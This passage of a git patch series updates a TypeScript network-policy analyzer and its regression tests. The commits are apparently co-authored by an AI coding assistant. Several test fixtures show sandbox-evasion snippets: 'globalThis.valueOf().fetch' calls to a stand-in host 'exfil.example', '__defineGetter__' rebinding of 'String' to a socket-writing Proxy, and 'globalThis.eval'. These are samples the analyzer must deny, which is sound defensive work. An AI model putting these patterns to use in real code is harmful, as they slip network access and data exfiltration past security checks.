+ [`globalThis.valueOf().fetch('https://exfil.example/');`, 'GLOBAL_RECEIVER_CALL'],
+ [`globalThis.global.valueOf().fetch('https://exfil.example/');`, 'GLOBAL_RECEIVER_CALL'],
+ [`const g = globalThis.valueOf();`, 'GLOBAL_RECEIVER_CALL'],
+ [`window['valueOf']().WebSocket;`, 'GLOBAL_RECEIVER_CALL'],
+ [`use(self.valueOf());`, 'GLOBAL_RECEIVER_CALL'],
] as const) {
const result = analyzeNetworkPolicy(source);
expect(result.verdict, source).toBe('DENY');
@@ -621,19 +621,19 @@ describe('D3 network policy receiver-call result authority inheritance (PR #67 F
}
});
- it('F3: follows optional calls of permitted global members exactly like plain calls, with one finding each', () => {
+ it('F3: denies optional invocations of permitted global members exactly like plain ones, with one finding each', () => {
for (const [source, reason] of [
- [`globalThis.valueOf?.().fetch('x');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
- [`globalThis?.valueOf?.().fetch('x');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
- [`globalThis?.valueOf().fetch('x');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
- [`globalThis['valueOf']?.().fetch('x');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
- [`globalThis['valueOf']?.().WebSocket;`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
- [`(globalThis.valueOf?.() as any).fetch('x');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
- [`globalThis.valueOf?.().self.fetch('x');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
- [`const g = globalThis.valueOf?.();`, 'GLOBAL_RECEIVER_ESCAPE'],
- [`use(globalThis.valueOf?.());`, 'GLOBAL_RECEIVER_ESCAPE'],
- [`function g() { return window.valueOf?.(); }`, 'GLOBAL_RECEIVER_ESCAPE'],
- [`declare const k: string;\nglobalThis.valueOf?.()[k];`, 'GLOBAL_RECEIVER_RUNTIME_KEY'],
+ [`globalThis.valueOf?.().fetch('x');`, 'GLOBAL_RECEIVER_CALL'],
+ [`globalThis?.valueOf?.().fetch('x');`, 'GLOBAL_RECEIVER_CALL'],
+ [`globalThis?.valueOf().fetch('x');`, 'GLOBAL_RECEIVER_CALL'],
+ [`globalThis['valueOf']?.().fetch('x');`, 'GLOBAL_RECEIVER_CALL'],
+ [`globalThis['valueOf']?.().WebSocket;`, 'GLOBAL_RECEIVER_CALL'],
+ [`(globalThis.valueOf?.() as any).fetch('x');`, 'GLOBAL_RECEIVER_CALL'],
+ [`globalThis.valueOf?.().self.fetch('x');`, 'GLOBAL_RECEIVER_CALL'],
+ [`const g = globalThis.valueOf?.();`, 'GLOBAL_RECEIVER_CALL'],
+ [`use(globalThis.valueOf?.());`, 'GLOBAL_RECEIVER_CALL'],
+ [`function g() { return window.valueOf?.(); }`, 'GLOBAL_RECEIVER_CALL'],
+ [`declare const k: string;\nglobalThis.valueOf?.()[k];`, 'GLOBAL_RECEIVER_CALL'],
[`declare const k: string;\nglobalThis[k]?.().fetch('x');`, 'GLOBAL_RECEIVER_RUNTIME_KEY'],
] as const) {
const result = analyzeNetworkPolicy(source);
@@ -646,6 +646,16 @@ describe('D3 network policy receiver-call result authority inheritance (PR #67 F
`void globalThis.valueOf?.();`,
`typeof globalThis.valueOf?.();`,
`globalThis.valueOf?.().console.log('x');`,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['GLOBAL_RECEIVER_CALL']);
+ expect(result.findings, source).toHaveLength(1);
+ }
+ for (const source of [
+ `globalThis.console?.log?.('x');`,
+ `void globalThis.console;`,
+ `typeof globalThis.console;`,
+ `globalThis?.console.log('x');`,
]) {
const result = analyzeNetworkPolicy(source);
expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]);
@@ -661,8 +671,6 @@ describe('D3 network policy receiver-call result authority inheritance (PR #67 F
withServer(`function setup(s: http.Server) { s.close(); }\nsetup(server.listen(4317, '127.0.0.1'));`),
withServer(`const started = server.listen(4317, '127.0.0.1');\nstarted.close();`),
`globalThis.console.log('x');`,
- `globalThis.valueOf();`,
- `globalThis.valueOf().console.log('x');`,
]) {
const result = analyzeNetworkPolicy(source);
expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]);
@@ -808,7 +816,7 @@ describe('D3 network policy receiver-call result authority inheritance (PR #67 F
expect(occurrences(detector, 'function inheritingReceiverOf(')).toBe(1);
expect(occurrences(detector, 'function classesOf(')).toBe(1);
expect(occurrences(detector, 'factsOf(ctx, valueSymbolOf(')).toBe(1);
- // The optional-call follow is confined to the global-receiver path; target classes keep the direct-call predicate.
+ // The invocation check (call, construct, tagged template) is confined to the global-receiver path; target classes keep the direct-call predicate.
expect(occurrences(detector, 'const memberCallOf = ')).toBe(1);
expect(occurrences(detector, 'memberCallOf(parent)')).toBe(1);
expect(occurrences(detector, 'inheritingReceiverOf(ctx, ')).toBe(1);
@@ -1066,7 +1074,7 @@ describe('D3 network policy closes the open Codex findings on PR #67', () => {
const fluentResponse = analyzeNetworkPolicy(`${NS}\nhttp.createServer((request, response) => { response.setHeader('a', 'b').socket; });`);
expect(fluentResponse.reasons, describeFindings(fluentResponse)).toEqual(['RESPONSE_MEMBER']);
const laundered = analyzeNetworkPolicy(`const g = globalThis.valueOf() as typeof globalThis;\ng.fetch('https://exfil.example/');`);
- expect(laundered.reasons, describeFindings(laundered)).toEqual(['GLOBAL_RECEIVER_ESCAPE']);
+ expect(laundered.reasons, describeFindings(laundered)).toEqual(['GLOBAL_RECEIVER_CALL']);
const twice = analyzeNetworkPolicy(`${NS}\nfunction make() { return http.createServer(${L}); }\nconst a = make();\nconst b = make();\na.listen(4317, '127.0.0.1');\nb.listen(4318, '0.0.0.0');`);
expect(twice.reasons, describeFindings(twice)).toEqual(['CREATE_SERVER_MULTIPLE', 'SERVER_LISTEN_BINDING']);
});
@@ -1099,7 +1107,6 @@ http.createServer((request, response) => { response.end(String(1)); });`,
);
expect(witness.reasons, describeFindings(witness)).toEqual(['GLOBAL_RECEIVER_WRITE']);
for (const source of [
- `globalThis.String(1);`,
`String(1);`,
`globalThis.String.length;`,
`typeof globalThis.String;`,
@@ -1182,6 +1189,66 @@ ${describeFindings(result)}`).toEqual([]);
}
});
+ it('P1: a member of a global receiver is never invoked: mutator, generator, construct and tagged-template forms alike', () => {
+ for (const source of [
+ `(globalThis as any).__defineGetter__('String', () => (value: unknown) => value);`,
+ `(globalThis as any).__defineSetter__('String', () => {});`,
+ `(globalThis as any)['__define' + 'Getter__']('String', () => 1);`,
+ `(globalThis.globalThis as any).__defineGetter__('String', () => 1);`,
+ `(window as any).__defineGetter__('fetch', () => 1);`,
+ `(self as any).__defineGetter__?.('String', () => 1);`,
+ `(global as any)?.__defineGetter__('String', () => 1);`,
+ `globalThis.eval('String = 1');`,
+ `globalThis.Function('return String')();`,
+ `new (globalThis as any).Proxy({}, {});`,
+ `globalThis.String\`x\`;`,
+ `globalThis.String(1);`,
+ `globalThis.valueOf();`,
+ `void globalThis.valueOf();`,
+ `typeof globalThis.String(1);`,
+ `const s = globalThis.String(1);\ns;`,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['GLOBAL_RECEIVER_CALL']);
+ expect(result.findings, source).toHaveLength(1);
+ expect(result.fixpoint.state, source).toBe('CONVERGED');
+ }
+ // Codex witness: an inherited mutator rebinds `String` without a write target, so `isProvenString` would trust a callable Proxy.
+ const witness = analyzeNetworkPolicy(
+ `${NS}\n(globalThis as any).__defineGetter__('String', () => () => new Proxy(() => {}, { apply(_target: unknown, res: http.ServerResponse) { res.req.socket.write('x'); } }));\nhttp.createServer((request, response) => { response.end(String(1)); });`,
+ );
+ expect(witness.reasons, describeFindings(witness)).toEqual(['GLOBAL_RECEIVER_CALL']);
+ // The same family through a free mutator: the receiver forwarded as an argument is already an escape.
+ for (const source of [
+ `Object.defineProperty(globalThis, 'String', { value: 1 });`,
+ `Reflect.set(window, 'String', 1);`,
+ `Object.assign(self, { String: 1 });`,
+ `(Object.prototype as any).__defineGetter__.call(globalThis, 'String', () => 1);`,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['GLOBAL_RECEIVER_ESCAPE']);
+ }
+ // Free-global calls go through no receiver; reads of permitted members stay permitted.
+ for (const source of [
+ `String(1);`,
+ `Number('1');`,
+ `Object.keys({});`,
+ `globalThis.console.log('x');`,
+ `globalThis.console;`,
+ `typeof globalThis.String;`,
+ `globalThis.String.length;`,
+ `const { console: c } = globalThis;\nc.log('x');`,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]);
+ }
+ const detector = readFileSync(detectorPath, 'utf8');
+ expect(occurrences(detector, "deny(ctx, 'GLOBAL_RECEIVER_CALL'")).toBe(1);
+ for (const forbidden of ['__defineGetter__', '__defineSetter__', 'defineProperty', 'eval']) {
+ expect(occurrences(detector, `'${forbidden}'`), forbidden).toBe(0);
+ }
+ });
+
it('is structural: one runtime-shadow predicate, threaded through the single symbol-resolution path', () => {
const detector = readFileSync(detectorPath, 'utf8');
expect(occurrences(detector, 'function isRuntimeShadowed(')).toBe(1);
diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts
index 1515e79..1daa452 100644
--- a/tests/cockpit-host/support/d3-network-policy.ts
+++ b/tests/cockpit-host/support/d3-network-policy.ts
@@ -63,6 +63,7 @@ export type ReasonCode =
| 'GLOBAL_RECEIVER_ESCAPE'
| 'GLOBAL_RECEIVER_DESTRUCTURING'
| 'GLOBAL_RECEIVER_WRITE'
+ | 'GLOBAL_RECEIVER_CALL'
| 'PROCESS_GLOBAL_USE'
| 'HTTP_CLIENT_CAPABILITY'
| 'HTTP_IMPORT_EQUALS'
@@ -1112,9 +1113,11 @@ const isDirectCallee = (access: ts.Expression): boolean => directCallOf(access)
* null. Global-receiver path only: an optional call of a permitted global
* member yields the same result as the plain call, so both are followed.
*/
-const memberCallOf = (access: ts.Expression): ts.CallExpression | null => {
+/** The invocation — call (optional or not), construct, or tagged template — whose callee is `access`, or null. */
+const memberCallOf = (access: ts.Expression): ts.CallExpression | ts.NewExpression | ts.TaggedTemplateExpression | null => {
const { node, parent } = climb(access);
- return ts.isCallExpression(parent) && parent.expression === node ? parent : null;
+ if ((ts.isCallExpression(parent) || ts.isNewExpression(parent)) && parent.expression === node) return parent;
+ return ts.isTaggedTemplateExpression(parent) && parent.tag === node ? parent : null;
};
const isNumericLiteralAssignment = (access: ts.Expression): boolean => {
@@ -1451,7 +1454,7 @@ function checkGlobalAssignmentPattern(ctx: Context, target: ts.Expression): void
}
}
-/** A free global receiver root (or a static self-hop from one) may only be read through static, non-network keys; no member is ever written. */
+/** A free global receiver root (or a static self-hop from one) may only be read through static, non-network keys; no member is ever written or invoked. */
function checkGlobalReceiverUse(ctx: Context, expression: ts.Expression): void {
const { node, parent } = climb(expression);
if (ts.isExpressionStatement(parent) || ts.isVoidExpression(parent) || ts.isTypeOfExpression(parent)) return;
@@ -1469,11 +1472,12 @@ function checkGlobalReceiverUse(ctx: Context, expression: ts.Expression): void {
deny(ctx, 'GLOBAL_RECEIVER_WRITE', parent);
return;
}
- // Receiver-call result authority inheritance: the result of a call of a
- // permitted static member, optional or not, conservatively retains
- // global-root authority and is checked as such.
- const call = permitted ? memberCallOf(parent) : null;
- if (call !== null) checkGlobalReceiverUse(ctx, call);
+ // A permitted static member is never invoked through the receiver: an
+ // inherited mutator or a code generator called with the global as its
+ // receiver rebinds globals exactly as a write does, so every call, optional
+ // call, construct and tagged-template form is denied as one family. A free
+ // global call such as `String(1)` goes through no receiver and is unaffected.
+ if (permitted && memberCallOf(parent) !== null) deny(ctx, 'GLOBAL_RECEIVER_CALL', parent);
return;
}
if (ts.isVariableDeclaration(parent) && parent.initializer === node) {
diff --git a/tests/cockpit-host/support/d3-regression-matrix.ts b/tests/cockpit-host/support/d3-regression-matrix.ts
index 4eda5fc..f370cf7 100644
--- a/tests/cockpit-host/support/d3-regression-matrix.ts
+++ b/tests/cockpit-host/support/d3-regression-matrix.ts
@@ -306,7 +306,14 @@ const FREE_GLOBAL: readonly RegressionRow[] = [
deny('free-global identity', 'private import-equals alias of a type-only import is erased', `import type { f } from './x.js';\nimport fetch = f;\nfetch;`, ['FREE_GLOBAL_NETWORK']),
deny('free-global identity', 'private import-equals alias of an uninstantiated namespace is erased', `namespace Local {\n export type T = string;\n}\nimport fetch = Local;\nfetch;`, ['FREE_GLOBAL_NETWORK']),
deny('free-global identity', 'circular private import-equals alias fails closed', `import fetch = fetch;\nfetch;`, ['FREE_GLOBAL_NETWORK']),
- deny('free-global identity', 'Codex P1 witness: valueOf-laundered global receiver', `const g = globalThis.valueOf() as typeof globalThis;\ng.fetch('https://exfil.example/');`, ['GLOBAL_RECEIVER_ESCAPE']),
+ deny('free-global identity', 'Codex P1 witness: valueOf-laundered global receiver', `const g = globalThis.valueOf() as typeof globalThis;\ng.fetch('https://exfil.example/');`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'Codex P1 witness: inherited mutator called through the global receiver', `(globalThis as any).__defineGetter__('String', () => 1);`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'inherited mutator called through a self-hop', `(globalThis.self as any).__defineSetter__('String', () => {});`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'code generator called through the global receiver', `globalThis.eval('String = 1');`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'permitted member constructed through the global receiver', `new (globalThis as any).Proxy({}, {});`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'permitted member tagged through the global receiver', `globalThis.String\`x\`;`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'intrinsic called through the global receiver', `globalThis.String(1);`, ['GLOBAL_RECEIVER_CALL']),
+ allow('free-global identity', 'intrinsic called as a free global', `String(1);`),
allow('free-global identity', 'WebSocket in a type position', `let ws: WebSocket | null = null;\nws;`),
allow('free-global identity', 'fetch as a label', `fetch: for (;;) { break fetch; }`),
allow('free-global identity', 'harmless global member read', `globalThis.console.log('x');`),
@@ -324,35 +331,36 @@ globalThis.fetch;`,
['GLOBAL_RECEIVER_NETWORK_MEMBER'],
),
allow('free-global identity', 'global-root name as a property key', `const g = { globalThis: 1, window: 2 };\ng.globalThis + g.window;`),
- // PR #67 F3: the result of a direct non-optional call of a permitted static member retains global-root authority.
- deny('free-global identity', 'permitted member call result reaches fetch (PR #67 F3)', `globalThis.valueOf().fetch('https://exfil.example/');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
- deny('free-global identity', 'self-hop then permitted member call result reaches fetch', `globalThis.global.valueOf().fetch('https://exfil.example/');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
- deny('free-global identity', 'permitted member call result forwarded through const', `const g = globalThis.valueOf();`, ['GLOBAL_RECEIVER_ESCAPE']),
- deny('free-global identity', 'permitted member call result forwarded through call argument', `use(window.valueOf());`, ['GLOBAL_RECEIVER_ESCAPE']),
- deny('free-global identity', 'permitted member call result forwarded through return', `function g() { return self.valueOf(); }`, ['GLOBAL_RECEIVER_ESCAPE']),
- deny('free-global identity', 'permitted member call result through static element key', `self['valueOf']().fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
- deny('free-global identity', 'permitted member call result wrapped', `(globalThis.valueOf() as any).fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
- deny('free-global identity', 'permitted member call result destructured to fetch', `const { fetch: f } = globalThis.valueOf();`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
- deny('free-global identity', 'permitted member call result read through a runtime key', `declare const k: string;\nglobalThis.valueOf()[k];`, ['GLOBAL_RECEIVER_RUNTIME_KEY']),
- deny('free-global identity', 'permitted member call result self-hop then fetch', `globalThis.valueOf().window.fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
- deny('free-global identity', 'chained permitted member call results', `globalThis.valueOf().valueOf().fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
- deny('free-global identity', 'any permitted member call result retains root authority (not name-specific)', `const t = globalThis.toString();`, ['GLOBAL_RECEIVER_ESCAPE']),
- allow('free-global identity', 'permitted member call as statement, void, typeof', `globalThis.valueOf();\nvoid globalThis.valueOf();\ntypeof globalThis.valueOf();`),
- allow('free-global identity', 'non-network member of a permitted member call result', `globalThis.valueOf().console.log('x');`),
- // PR #67 F3 (optional-call continuation): an optional call of a permitted member yields the same root value.
- deny('free-global identity', 'optional call of a permitted member reaches fetch (PR #67 F3)', `globalThis.valueOf?.().fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
- deny('free-global identity', 'optional member and optional call reach fetch', `globalThis?.valueOf?.().fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
- deny('free-global identity', 'optional member and normal call reach fetch', `globalThis?.valueOf().fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
- deny('free-global identity', 'optional call through a static element key reaches fetch', `globalThis['valueOf']?.().fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
- deny('free-global identity', 'optional call through a static element key reaches WebSocket', `globalThis['valueOf']?.().WebSocket;`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
- deny('free-global identity', 'optional call result forwarded through const', `const g = globalThis.valueOf?.();`, ['GLOBAL_RECEIVER_ESCAPE']),
- deny('free-global identity', 'optional call result forwarded through call argument', `use(globalThis.valueOf?.());`, ['GLOBAL_RECEIVER_ESCAPE']),
- deny('free-global identity', 'optional call result forwarded through return', `function g() { return window.valueOf?.(); }`, ['GLOBAL_RECEIVER_ESCAPE']),
- deny('free-global identity', 'optional call result wrapped', `(globalThis.valueOf?.() as any).fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
- deny('free-global identity', 'optional call result self-hop then fetch', `globalThis.valueOf?.().self.fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
- deny('free-global identity', 'optional call result read through a runtime key', `declare const k: string;\nglobalThis.valueOf?.()[k];`, ['GLOBAL_RECEIVER_RUNTIME_KEY']),
- allow('free-global identity', 'optional permitted member call as statement, void, typeof', `globalThis.valueOf?.();\nvoid globalThis.valueOf?.();\ntypeof globalThis.valueOf?.();`),
- allow('free-global identity', 'non-network member of an optional permitted member call result', `globalThis.valueOf?.().console.log('x');`),
+ // PR #67 F3 / Codex P1: a permitted static member of a global receiver is never invoked — call, optional call,
+ // construct or tagged template — so its result is never reached and an inherited mutator cannot rebind globals.
+ deny('free-global identity', 'permitted member call result reaches fetch (PR #67 F3)', `globalThis.valueOf().fetch('https://exfil.example/');`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'self-hop then permitted member call result reaches fetch', `globalThis.global.valueOf().fetch('https://exfil.example/');`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'permitted member call result forwarded through const', `const g = globalThis.valueOf();`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'permitted member call result forwarded through call argument', `use(window.valueOf());`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'permitted member call result forwarded through return', `function g() { return self.valueOf(); }`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'permitted member call result through static element key', `self['valueOf']().fetch('x');`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'permitted member call result wrapped', `(globalThis.valueOf() as any).fetch('x');`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'permitted member call result destructured to fetch', `const { fetch: f } = globalThis.valueOf();`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'permitted member call result read through a runtime key', `declare const k: string;\nglobalThis.valueOf()[k];`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'permitted member call result self-hop then fetch', `globalThis.valueOf().window.fetch('x');`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'chained permitted member call results', `globalThis.valueOf().valueOf().fetch('x');`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'any permitted member call result retains root authority (not name-specific)', `const t = globalThis.toString();`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'permitted member call as statement, void, typeof', `globalThis.valueOf();\nvoid globalThis.valueOf();\ntypeof globalThis.valueOf();`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'non-network member of a permitted member call result', `globalThis.valueOf().console.log('x');`, ['GLOBAL_RECEIVER_CALL']),
+ // PR #67 F3 (optional-call continuation): an optional call of a permitted member is denied exactly like a plain one.
+ deny('free-global identity', 'optional call of a permitted member reaches fetch (PR #67 F3)', `globalThis.valueOf?.().fetch('x');`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'optional member and optional call reach fetch', `globalThis?.valueOf?.().fetch('x');`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'optional member and normal call reach fetch', `globalThis?.valueOf().fetch('x');`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'optional call through a static element key reaches fetch', `globalThis['valueOf']?.().fetch('x');`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'optional call through a static element key reaches WebSocket', `globalThis['valueOf']?.().WebSocket;`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'optional call result forwarded through const', `const g = globalThis.valueOf?.();`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'optional call result forwarded through call argument', `use(globalThis.valueOf?.());`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'optional call result forwarded through return', `function g() { return window.valueOf?.(); }`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'optional call result wrapped', `(globalThis.valueOf?.() as any).fetch('x');`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'optional call result self-hop then fetch', `globalThis.valueOf?.().self.fetch('x');`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'optional call result read through a runtime key', `declare const k: string;\nglobalThis.valueOf?.()[k];`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'optional permitted member call as statement, void, typeof', `globalThis.valueOf?.();\nvoid globalThis.valueOf?.();\ntypeof globalThis.valueOf?.();`, ['GLOBAL_RECEIVER_CALL']),
+ deny('free-global identity', 'non-network member of an optional permitted member call result', `globalThis.valueOf?.().console.log('x');`, ['GLOBAL_RECEIVER_CALL']),
];
// ---------------------------------------------------------------------------
From ac5bcf90218f37a3d67056788ad5084cf4c80dfe Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Thu, 3 Sep 2026 10:38:40 +0200
Subject: [PATCH 12/20] docs(cockpit): describe memberCallOf as the denied
invocation
Fold the superseded "both are followed" note into the one doc comment
for the global-receiver invocation check.
Co-Authored-By: Claude Fable 5.1
Claude-Session: https://claude.ai/code/session_01XzBQxxngHwrQ88eAn53Pfg
---
tests/cockpit-host/support/d3-network-policy.ts | 7 +++----
1 file changed, 3 insertions(+), 4 deletions(-)
diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts
index 1daa452..9a94c67 100644
--- a/tests/cockpit-host/support/d3-network-policy.ts
+++ b/tests/cockpit-host/support/d3-network-policy.ts
@@ -1109,11 +1109,10 @@ const directCallOf = (access: ts.Expression): ts.CallExpression | null => {
const isDirectCallee = (access: ts.Expression): boolean => directCallOf(access) !== null;
/**
- * The call, optional or not, whose callee is `access` (through wrappers), or
- * null. Global-receiver path only: an optional call of a permitted global
- * member yields the same result as the plain call, so both are followed.
+ * The invocation — call (optional or not), construct, or tagged template —
+ * whose callee is `access` (through wrappers), or null. Global-receiver path
+ * only: every such invocation of a permitted global member is denied.
*/
-/** The invocation — call (optional or not), construct, or tagged template — whose callee is `access`, or null. */
const memberCallOf = (access: ts.Expression): ts.CallExpression | ts.NewExpression | ts.TaggedTemplateExpression | null => {
const { node, parent } = climb(access);
if ((ts.isCallExpression(parent) || ts.isNewExpression(parent)) && parent.expression === node) return parent;
From ccff21f14956ac870c0c5f9cd800760b92f51d04 Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Thu, 3 Sep 2026 11:06:44 +0200
Subject: [PATCH 13/20] fix(cockpit): stop trusting an ambient String(...) call
as a proven string
Close the newest Codex P1 family on PR #67 at its root instead of chasing
more routes that replace the global `String`. `isProvenString` no longer
treats an unbound ambient `String(...)` call as proof of a primitive
string, so `response.end(String(...))` is denied with
RESPONSE_END_ARGUMENT whatever the argument, and the write, mutator-call
and reflective routes only add their own finding on top of that denial.
The proof now names no global identifier.
The directly affected allow rows keep their intent through a template
(`\`${request.url}\``), which was already proven. Literal, template,
concat, const, local-function and sibling-export string paths are
unchanged, and the real host tree, whose bodies are literals, a sibling
string constant and a sibling template function, stays ALLOW.
Co-Authored-By: Claude Fable 5.1
Claude-Session: https://claude.ai/code/session_01XzBQxxngHwrQ88eAn53Pfg
---
tests/cockpit-host/d3-network-policy.test.ts | 75 +++++++++++++++++--
.../cockpit-host/support/d3-network-policy.ts | 13 ++--
.../support/d3-regression-matrix.ts | 11 ++-
3 files changed, 83 insertions(+), 16 deletions(-)
diff --git a/tests/cockpit-host/d3-network-policy.test.ts b/tests/cockpit-host/d3-network-policy.test.ts
index 5592d04..28261a7 100644
--- a/tests/cockpit-host/d3-network-policy.test.ts
+++ b/tests/cockpit-host/d3-network-policy.test.ts
@@ -333,7 +333,7 @@ describe('D3 network policy createServer listener boundary', () => {
for (const source of [
`${NS}\nhttp.createServer((${L}) as any);`,
`${NS}\nconst h1 = ${L};\nconst h2 = h1!;\nhttp.createServer(h2);`,
- `${NS}\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse) { response.end(String(request.url)); }\nhttp.createServer(handle);`,
+ `${NS}\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse) { response.end(\`\${request.url}\`); }\nhttp.createServer(handle);`,
]) {
const result = analyzeNetworkPolicy(source);
expect(result.verdict, `${source}\n${describeFindings(result)}`).toBe('ALLOW');
@@ -1099,13 +1099,13 @@ ${describeFindings(result)}`).toEqual(['GLOBAL_RECEIVER_WRITE']);
expect(result.findings, source).toHaveLength(1);
expect(result.fixpoint.state, source).toBe('CONVERGED');
}
- // Codex witness: a replaced `String` would let `isProvenString` trust a callable Proxy handed to response.end.
+ // Codex witness: the write is denied on its own, and `response.end(String(1))` is unproven regardless.
const witness = analyzeNetworkPolicy(
`${NS}
(globalThis.String as any) = () => new Proxy(() => {}, { apply(_target: unknown, res: http.ServerResponse) { res.req.socket.write('x'); } });
http.createServer((request, response) => { response.end(String(1)); });`,
);
- expect(witness.reasons, describeFindings(witness)).toEqual(['GLOBAL_RECEIVER_WRITE']);
+ expect(witness.reasons, describeFindings(witness)).toEqual(['GLOBAL_RECEIVER_WRITE', 'RESPONSE_END_ARGUMENT']);
for (const source of [
`String(1);`,
`globalThis.String.length;`,
@@ -1213,11 +1213,11 @@ ${describeFindings(result)}`).toEqual([]);
expect(result.findings, source).toHaveLength(1);
expect(result.fixpoint.state, source).toBe('CONVERGED');
}
- // Codex witness: an inherited mutator rebinds `String` without a write target, so `isProvenString` would trust a callable Proxy.
+ // Codex witness: the mutator call is denied on its own, and `response.end(String(1))` is unproven regardless.
const witness = analyzeNetworkPolicy(
`${NS}\n(globalThis as any).__defineGetter__('String', () => () => new Proxy(() => {}, { apply(_target: unknown, res: http.ServerResponse) { res.req.socket.write('x'); } }));\nhttp.createServer((request, response) => { response.end(String(1)); });`,
);
- expect(witness.reasons, describeFindings(witness)).toEqual(['GLOBAL_RECEIVER_CALL']);
+ expect(witness.reasons, describeFindings(witness)).toEqual(['GLOBAL_RECEIVER_CALL', 'RESPONSE_END_ARGUMENT']);
// The same family through a free mutator: the receiver forwarded as an argument is already an escape.
for (const source of [
`Object.defineProperty(globalThis, 'String', { value: 1 });`,
@@ -1249,6 +1249,67 @@ ${describeFindings(result)}`).toEqual([]);
}
});
+ it('P1 family: an ambient String(...) call proves nothing, so the String mutation routes no longer matter to response.end', () => {
+ const inListener = (body: string): string => `${NS}\nhttp.createServer((request, response) => {\n ${body}\n});`;
+ // response.end(String(...)) is no longer trusted, whatever the argument and however it is reached.
+ for (const source of [
+ inListener(`response.end(String(1));`),
+ inListener(`response.end(String('x'));`),
+ inListener(`response.end(String(request.url));`),
+ inListener(`const body = String('x');\nresponse.end(body);`),
+ inListener(`function page() { return String('x'); }\nresponse.end(page());`),
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['RESPONSE_END_ARGUMENT']);
+ expect(result.findings, source).toHaveLength(1);
+ }
+ // Each String mutation route only adds its own finding on top of the same end denial: none of them is load-bearing.
+ for (const [mutation, reason] of [
+ [`(globalThis.String as any) = () => 1;`, 'GLOBAL_RECEIVER_WRITE'],
+ [`(globalThis as any).__defineGetter__('String', () => () => 1);`, 'GLOBAL_RECEIVER_CALL'],
+ [`Object.defineProperty(globalThis, 'String', { value: () => 1 });`, 'GLOBAL_RECEIVER_ESCAPE'],
+ ] as const) {
+ const result = analyzeNetworkPolicy(`${NS}\n${mutation}\nhttp.createServer((request, response) => { response.end(String(1)); });`);
+ expect(result.reasons, `${mutation}\n${describeFindings(result)}`).toEqual([reason, 'RESPONSE_END_ARGUMENT']);
+ }
+ // Every already-proven string path is untouched: literal, template, concat, const, local function.
+ for (const source of [
